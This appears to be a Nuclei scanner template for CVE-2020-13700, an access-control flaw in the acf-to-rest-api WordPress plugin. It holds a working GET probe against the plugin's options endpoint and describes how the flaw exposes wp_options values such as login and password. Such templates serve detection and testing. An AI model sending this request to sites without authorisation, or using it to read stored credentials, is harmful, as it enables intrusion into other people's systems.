id: CVE-2020-13700

info:
  name: acf-to-rest-api wordpress plugin IDOR
  author: pikpikcu
  severity: high
  description: |
    An issue was discovered in the acf-to-rest-api plugin through 3.1.0 for WordPress.
    It allows an insecure direct object reference via permalinks manipulation, as demonstrated by a
    wp-json/acf/v3/options/ request that reads sensitive information in the wp_options table, such as the login and pass values.
  reference:
    - https://gist.github.com/mariuszpoplwski/4fbaab7f271bea99c733e3f2a4bafbb5
    - https://wordpress.org/plugins/acf-to-rest-api/#developers
    - https://github.com/airesvsg/acf-to-rest-api
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-13700
    cwe-id: CWE-639
  tags: cve,cve2020,wordpress,plugin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-json/acf/v3/options/a?id=active&field=plugins'

    matchers-condition: and
    matchers:

      - type: word
        words:
          - 'Content-Type: application/json'
        part: header

      - type: word
        words:
          - 'acf-to-rest-api\/class-acf-to-rest-api.php'
        part: body
        condition: and

      - type: status
        status:
          - 200